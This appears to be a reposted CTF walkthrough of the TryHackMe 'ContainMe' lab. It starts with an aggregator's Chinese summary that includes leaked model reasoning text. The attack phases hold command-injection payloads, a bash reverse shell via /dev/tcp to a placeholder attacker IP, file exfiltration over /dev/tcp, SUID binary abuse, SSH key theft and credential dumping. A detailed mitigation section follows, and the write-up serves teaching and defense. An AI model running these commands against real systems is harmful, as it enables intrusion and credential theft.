ContainMe — Command Injection, a SUID Binary, and Pivoting Through Two LXD Containers to Root |…
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户的要求是直接写文章描述,不需要开头用“文章内容总结”之类的。首先,我得仔细阅读用户提供的文章内容。 这篇文章主要讲的是一个名为ContainMe的多机器CTF挑战,涉及多个领域,如网络渗透、二进制分析、权限提升和容器跳跃。攻击路径跨越两台内部主机,需要利用多个漏洞来达到最终目标。 接下来,我需要提取关键点:攻击链分为几个步骤,包括端口扫描、命令注入、SUID二进制利用、SSH密钥窃取、数据库凭证转储以及密码复用等。每个步骤的结果也需简要概括。 然后,我需要将这些关键点浓缩成100字以内的总结。要注意用词简洁明了,涵盖主要攻击步骤和结果。 最后,检查是否符合用户的所有要求:中文、100字以内、直接描述内容。确保没有遗漏重要信息,并且语言流畅自然。 </think> ContainMe 是一个多机器 CTF 挑战,涉及网络渗透、二进制分析、权限提升和容器跳跃。攻击路径包括通过命令注入获取初始访问权限,在宿主机上利用 SUID 二进制文件提升权限,并通过 SSH 密钥窃取跳转到另一台主机。最终通过数据库凭证转储和密码复用获得目标机器的 root 权限。 2026-4-2 07:1:9 Author: infosecwriteups.com(查看原文) 阅读量:6 收藏

ContainMe is a multi-machine CTF challenge that tests your skills across several domains — web exploitation, binary analysis, privilege escalation, and lateral movement through LXD containers. The attack path spans two internal hosts, requiring you to chain multiple vulnerabilities together to reach root on the final machine.

Roshan Rajbanshi

Platform: TryHackMe Difficulty: Medium Category: Web Exploitation / Binary Analysis / Privilege Escalation / Container Pivoting

Attack chain at a glance:

Step Technique Result 1 Nmap + Gobuster recon Discovered index.php on port 80 2 Command injection via index.php RCE as www-data on host1 3 SUID binary abuse (crypt) Root on host1 4 SSH key theft Pivot to host2 as mike 5 MySQL credential dump, Plaintext passwords from database 6 Password reuse, Root on host2

Press enter or click to view image in full size

Phase 1: Reconnaissance

Port Scanning

We start with an aggressive nmap scan to enumerate open ports and services:

nmap -Pn -sC -sV -O -p 1-10000 <TARGET_IP>

Results:

PORT     STATE  SERVICE   VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
2222/tcp open EtherNetIP-1?
8022/tcp open ssh OpenSSH 8.2p1 Ubuntu

Key takeaways:

  • Port 80 — Apache web server, our main attack surface
  • Two SSH services on ports 22 and 8022 — a strong hint that this is an LXD container environment (host + container)

Web Enumeration

Running Gobuster reveals the files available on the web server:

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt
index.html  (Status: 200) [Size: 10918]
index.php (Status: 200) [Size: 329]
info.php (Status: 200) [Size: 68942]

The index.php file is suspiciously small at only 329 bytes — worth investigating.

Discovering the Vulnerability

Probing index.php with a path parameter shows it lists directory contents:

curl "http://<TARGET_IP>/index.php?path=/home/mike"
drwxr-xr-x 5 mike mike 4.0K Jul 30  2021 .
drwx------ 2 mike mike 4.0K Jul 19 2021 .ssh
-rwxr-xr-x 1 mike mike 351K Jul 30 2021 1cryptupx
<!-- where is the path ? -->

The HTML comment — where is the path ? — is a nudge from the challenge author. The page is running ls on our input with no sanitization. Time to inject.

Phase 2: Initial Access — Command Injection

Confirming Injection

We tested several shell metacharacters to see which ones the server would execute. All three worked:

# Semicolon — runs ls /etc first, then cat /etc/passwd
curl "http://<TARGET_IP>/index.php?path=/etc;cat+/etc/passwd"
# Pipe — pipes ls output into cat (effectively just runs cat)
curl "http://<TARGET_IP>/index.php?path=/etc|cat+/etc/passwd"
# Newline — breaks the command into two separate lines
curl "http://<TARGET_IP>/index.php?path=/etc%0acat+/etc/passwd"

Each one successfully dumped /etc/passwd, confirming full command injection. The difference between them is subtle but worth understanding:

Operator Behaviour Output ; Run both commands sequentially, regardless of exit code ls /etc output then /etc/passwd | Pipe the stdout of the first command into the second. Only /etc/passwd %0a (newline) Treats everything after as a new shell command. Only /etc/passwd

We used the pipe (|) for the rest of the exploit since it gave cleaner output, but any of these would have worked. Reading the PHP source confirms why there was zero resistance to any of them:

curl "http://<TARGET_IP>/index.php?path=/etc|cat+/var/www/html/index.php"
<?php
$command = "ls -alh ".$_REQUEST['path'];
passthru($command);
?>

Zero input sanitization. The user-supplied path value is concatenated directly into a shell command and executed via passthru().

Getting a Reverse Shell

Start a listener on your attack machine:

nc -lvnp 4444

Then trigger the reverse shell:

curl "http://<TARGET_IP>/index.php?path=/tmp%7Cbash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from <TARGET_IP>
www-data@host1:/var/www/html$

We’re in as www-data on host1.

Phase 3: Privilege Escalation on host1

Finding SUID Binaries

From our www-data shell, we hunt for SUID binaries:

find / -perm -4000 -type f 2>/dev/null
/usr/share/man/zh_TW/crypt    <-- suspicious!
/usr/bin/passwd
/usr/bin/sudo
/bin/mount
/bin/su
...

A SUID binary named crypt buried inside a man pages directory (/usr/share/man/zh_TW/) is a massive red flag. Man page directories should never contain executable SUID binaries.

Binary Analysis

We transfer the binary to our attack machine for analysis:

# On attack machine - receive the binary
nc -lvnp 5555 > crypt
# On target - send it
cat /usr/share/man/zh_TW/crypt > /dev/tcp/<ATTACKER_IP>/5555

Running file on it shows something odd:

crypt: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)

The ELF header has its endianness byte set to 02 (big-endian) instead of 01 (little-endian) — intentional obfuscation. The hexdump also reveals a UPX signature embedded inside. We fix the header and unpack:

# Fix the endianness byte at offset 5
python3 -c "
data = bytearray(open('crypt','rb').read())
data[5] = 0x01
open('crypt_fixed','wb').write(bytes(data))
"
# Unpack with UPX
upx -d crypt_fixed -o crypt_unpacked

Running strings on the unpacked binary reveals the key logic:

You wish!              <-- wrong password response
/bin/bash <-- spawns a shell on correct password
The heartache, and the thousand natural shocks
That flesh is heir to,--'tis a consummation
Devoutly to be wish'd. To die,--to sleep;--
When we have shuffled off this mortal coil,

The binary checks a password. If correct, it spawns /bin/bash — and since the binary has the SUID bit set, that shell runs as root. The Shakespeare quotes are embedded as decoys/hash material.

Exploiting the SUID Binary

After testing several inputs, the password turns out to be simply the machine’s username:

www-data@host1:/usr/share/man/zh_TW$ ./crypt mike
id
uid=0(root) gid=33(www-data) groups=33(www-data)

Root on host1. The trivial password — the local username itself — is the key. The binary accepts it, verifies against its internal hash, and calls /bin/bash, inheriting SUID root privileges.

Press enter or click to view image in full size

Phase 4: Pivoting to host2

Network Discovery

As root, we check the network interfaces:

ip a
eth0: 192.168.250.x/24    (external network)
eth1: 172.16.20.x/24 (internal container network)

We’re on a dual-homed host. A ping sweep of the internal network finds another live machine:

for i in $(seq 1 254); do
ping -c1 -W1 172.16.20.$i 2>/dev/null | grep "64 bytes" && echo "172.16.20.$i UP"
done
172.16.20.2 is UP
172.16.20.6 is UP <-- host2!

The challenge name ContainMe now makes perfect sense — we’re pivoting through LXD containers.

Press enter or click to view image in full size

SSH into host2 via Mike’s Key

As root on host1, we can read Mike’s private SSH key:

cat /home/mike/.ssh/id_rsa

We use it to SSH directly into host2:

ssh -i id_rsa [email protected]
Last login: Mon Jul 19 20:23:18 2021 from 172.16.20.2
mike@host2:~$

We’re on host2 as mike.

Phase 5: Privilege Escalation on host2

Service Enumeration

Checking active network connections reveals MySQL running locally:

netstat -antp
tcp  0  0  127.0.0.1:3306  0.0.0.0:*  LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN

Dumping MySQL Credentials

Connecting to MySQL with credentials found through enumeration:

mysql -u<REDACTED> -p<REDACTED>
show databases;
use accounts;
show tables;
select * from users;
+-------+---------------------+
| login | password |
+-------+---------------------+
| root | <REDACTED> |
| mike | <REDACTED> |
+-------+---------------------+

Two sets of credentials — one for root and one for Mike.

Press enter or click to view image in full size

Password Reuse — Root on host2

Mike’s password unlocks a protected zip file found in /root/. The root database password works directly with su:

# Unzip the file using mike's password
unzip -P <REDACTED> /root/mike.zip
# Escalate to root
su root
# Password: <REDACTED>
root@host2:~# id
uid=0(root) gid=0(root) groups=0(root)

Root on host2. Classic credential reuse — passwords found in the database work on system accounts.

Defense & Mitigation

Each vulnerability in this challenge has a real-world fix. Here’s how a defender would close every door we walked through.

1. Command Injection — Fix the PHP Code

The problem: User input was concatenated directly into a shell command with no validation.

// VULNERABLE — never do this
$command = "ls -alh " . $_REQUEST['path'];
passthru($command);

The fix: Avoid shell execution entirely where possible. If you must use it, use escapeshellarg() to sanitize the input, and whitelist allowed values:

// SAFER — validate input against a whitelist
$allowed_paths = ['/var/www/html', '/home/mike'];
$path = $_REQUEST['path'];
if (!in_array($path, $allowed_paths)) {
http_response_code(400);
exit("Invalid path.");
}
$command = "ls -alh " . escapeshellarg($path);
passthru($command);

Even better — replace passthru() with native PHP functions like scandir() or DirectoryIterator that don't invoke a shell at all:

// BEST — no shell involved
$entries = scandir($_REQUEST['path']);
foreach ($entries as $entry) {
echo htmlspecialchars($entry) . "\n";
}

Additional hardening:

  • Run the web server process as a dedicated low-privilege user with no shell access
  • Apply a Web Application Firewall (WAF) to block shell metacharacters (|, ;, &, `, $())
  • Enable PHP’s open_basedir to restrict file system access to the web root

2. SUID Binary Abuse — Audit and Restrict SUID Binaries

The problem: A custom SUID binary with a weak password was placed in an unexpected location (/usr/share/man/), making it easy to miss during routine audits.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The fix:

Regularly audit all SUID binaries on your system and investigate anything unexpected:

# Baseline all SUID binaries and alert on changes
find / -perm -4000 -type f 2>/dev/null > /tmp/suid_baseline.txt
diff /tmp/suid_baseline.txt /tmp/suid_current.txt

Remove the SUID bit from any binary that doesn’t strictly need it:

chmod u-s /path/to/suspicious/binary

Additional hardening:

  • Mount partitions with the nosuid flag where user-writable files live (e.g., /tmp, /home)
  • Use Linux Security Modules (AppArmor, SELinux) to restrict what SUID binaries can do
  • If a binary requires elevated privileges, prefer sudo with a tightly scoped policy over SUID
  • Never store custom binaries in system directories like /usr/share/man/

3. Weak SUID Binary Password — Secure Credential Handling in Binaries

The problem: The crypt binary accepted a trivially guessable password (the system username) to grant root access.

The fix:

Passwords embedded in binaries are inherently insecure — they can be extracted with strings, reverse engineering, or brute force. The right approach is to never use passwords as a gate in SUID binaries at all. Use sudo with proper policy instead:

# /etc/sudoers.d/mike
mike ALL=(root) NOPASSWD: /usr/bin/specific-command

If a binary must do authentication, use PAM (Pluggable Authentication Modules) rather than a hardcoded comparison. At a minimum, never use predictable values like usernames as passwords.

4. Plaintext Credentials in MySQL — Hash Your Passwords

The problem: The accounts.users table stores passwords in plain text. Once an attacker accessed MySQL, all credentials were immediately usable.

The fix:

Always hash passwords before storing them. Use a modern, slow hashing algorithm designed for passwords:

-- Store a bcrypt hash, not the plaintext password
INSERT INTO users (login, password) VALUES ('mike', '$2y$12$...');

In application code (PHP example):

// Hashing on registration
$hash = password_hash($plaintext_password, PASSWORD_BCRYPT);
// Verification on login
if (password_verify($input, $stored_hash)) {
// authenticated
}

Additional hardening:

  • Apply the principle of least privilege to database users — the web app user should only have SELECT on the tables it needs, never access to mysql.user
  • Restrict MySQL to localhost only (already done here, but worth confirming in my.cnf)
  • Enable MySQL audit logging to detect credential dump queries

5. Password Reuse — Enforce Unique Credentials

The problem: The same password was used in the database and for a system account, meaning a single credential dump led directly to root.

The fix:

Enforce strict separation between application credentials and system credentials:

  • Use a password manager or secrets manager (HashiCorp Vault, AWS Secrets Manager) to generate and store unique credentials per service
  • Never reuse a password between a database account and an OS user account
  • Rotate credentials regularly and after any suspected compromise
  • Implement multi-factor authentication (MFA) on all privileged accounts where possible

6. SSH Key Exposure Across Container Boundary — Harden Container Isolation

The problem: Gaining root on host1 (a container) allowed us to read the SSH private key and pivot directly to host2. The key was unprotected and reachable from within the container.

The fix:

SSH private keys should never be readable by the root of an adjacent container:

# Keys should be owned by the user and readable only by them
chmod 600 /home/mike/.ssh/id_rsa
chmod 700 /home/mike/.ssh/

Stronger mitigations:

  • Use SSH certificates instead of long-lived keys — they can be issued with short TTLs and scoped to specific hosts
  • Protect private keys with a strong passphrase so a stolen key file is not immediately usable
  • Use LXD profiles to enforce container isolation — restrict inter-container network access with firewall rules
  • Apply nftables or iptables Rules to prevent containers from reaching other container IPs unless explicitly required
  • Audit which containers share network segments and apply network segmentation where containers have no business communicating

Defense Summary

┌─────────────────────────────┬──────────────────────────────────────┬───────────────────────────────────────────────┐
│ Vulnerability │ Immediate Fix │ Deeper Hardening │
├─────────────────────────────┼──────────────────────────────────────┼───────────────────────────────────────────────┤
│ Command Injection │ escapeshellarg() / use scandir() │ WAF, open_basedir, least-privilege proc user │
│ Suspicious SUID Binary │ Remove SUID bit, audit regularly │ nosuid mounts, AppArmor/SELinux, use sudo │
│ Weak SUID Password │ Don't use passwords in SUID binaries │ Use PAM or sudo policy │
│ Plaintext DB Passwords │ Hash with bcrypt/argon2 │ Least-privilege DB user, audit logging │
│ Password Reuse │ Unique password per service │ Secrets manager, MFA on privileged accounts │
│ SSH Key Exposure │ chmod 600, passphrase on key │ SSH certificates, network segmentation │
└─────────────────────────────┴──────────────────────────────────────┴───────────────────────────────────────────────┘

Lessons Learned

Vulnerabilities Exploited

  • Command Injectionpassthru() Called with unsanitized user input. Always validate and escape user-supplied data before passing it to shell commands.
  • Obscured SUID Binary — A custom SUID binary hidden /usr/share/man/ with a trivially guessable password. Always audit SUID binaries — their location, owner, and purpose.
  • Plaintext Credentials in Database —Passwords are stored in plain text in MySQL, so switch to hashing methods like bcrypt or argon2 for secure credential storage.
  • Password Reuse — The same password is used in the database and for a system account. Use unique passwords per service.
  • SSH Key Accessible Across Container Boundary — Root on one container could read another user’s SSH private key. Apply least-privilege principles to key storage.

Tools Used

┌─────────────┬────────────────────────────────────────┐
│ Tool │ Purpose │
├─────────────┼────────────────────────────────────────┤
│ nmap │ Port scanning and service detection │
│ gobuster │ Web directory enumeration │
│ curl │ HTTP interaction and payload delivery │
│ netcat │ Reverse shell listener │
│ upx │ Binary unpacking │
│ strings │ Binary analysis │
│ mysql │ Database enumeration │
└─────────────┴────────────────────────────────────────┘

Full Attack Path

[Attacker Machine]
|
+---> index.php?path= command injection
| -> www-data shell on host1
|
+---> find SUID binary: /usr/share/man/zh_TW/crypt
| -> ./crypt <username>
| -> root on host1
|
+---> cat /home/mike/.ssh/id_rsa
| -> ssh [email protected]
| -> mike on host2
|
+---> mysql accounts.users
-> credentials dump
-> su root
-> root on host2

Thanks for reading! If you found this walkthrough helpful, feel free to leave a clap. Happy hacking! 🚀


文章来源: https://infosecwriteups.com/containme-command-injection-a-suid-binary-and-pivoting-through-two-lxd-containers-to-root-afe823f3e566?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh